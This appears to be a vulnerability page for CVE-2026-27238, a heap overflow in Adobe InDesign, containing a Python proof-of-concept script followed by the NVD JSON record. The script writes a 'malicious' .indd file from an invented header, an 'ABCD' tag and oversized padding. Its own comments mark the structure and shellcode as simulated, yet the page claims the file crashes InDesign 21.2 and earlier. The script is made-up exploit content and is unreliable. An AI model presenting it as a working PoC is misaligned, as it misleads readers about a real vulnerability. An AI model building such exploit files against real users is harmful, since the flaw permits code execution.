CVE-2026-27238

import struct # PoC for CVE-2026-27238 (Heap-based Buffer Overflow) # This script generates a malicious file that triggers a buffer overflow # when opened in vulnerable versions of Adobe InDesign. def generate_malicious_file(filename): # Header for a generic document structure (simulated) header = b"INDSIGN\x00" # Vulnerable tag or identifier that triggers the parsing logic trigger_tag = b"\x41\x42\x43\x44" # "ABCD" # Length field that the parser trusts (e.g., 0x100 bytes) declared_length = struct.pack('<I', 0x100) # Actual payload data (much larger than declared length to cause overflow) # Padding + NOP sled + Shellcode (simulated) payload = b"A" * 0x200 # Overflow size # Construct the malicious file content file_content = header + trigger_tag + declared_length + payload with open(filename, "wb") as f: f.write(file_content) print(f"[+] Malicious file '{filename}' generated successfully.") print(f"[+] Open this file in Adobe InDesign Desktop <= 21.2 to trigger the crash.") if __name__ == "__main__": generate_malicious_file("cve_2026_27238_poc.indd")

{"cve": {"id": "CVE-2026-27238", "sourceIdentifier": "[email protected]", "published": "2026-04-14T17:16:47.717", "lastModified": "2026-04-16T15:35:21.867", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "InDesign Desktop versions 20.5.2, 21.2 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:indesign:*:*:*:*:*:*:*:*", "versionEndExcluding": "20.5.3", "matchCriteriaId": "5644C156-EB3C-4F24-A9E8-ABB5EA61F2A9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:indesign:*:*:*:*:*:*:*:*", "versionStartIncluding": "21.0", "versionEndExcluding": "21.3", "matchCriteriaId": "C6F7C5A5-F818-4184-81C3-35282D05CBEA"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/indesign/apsb26-32.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}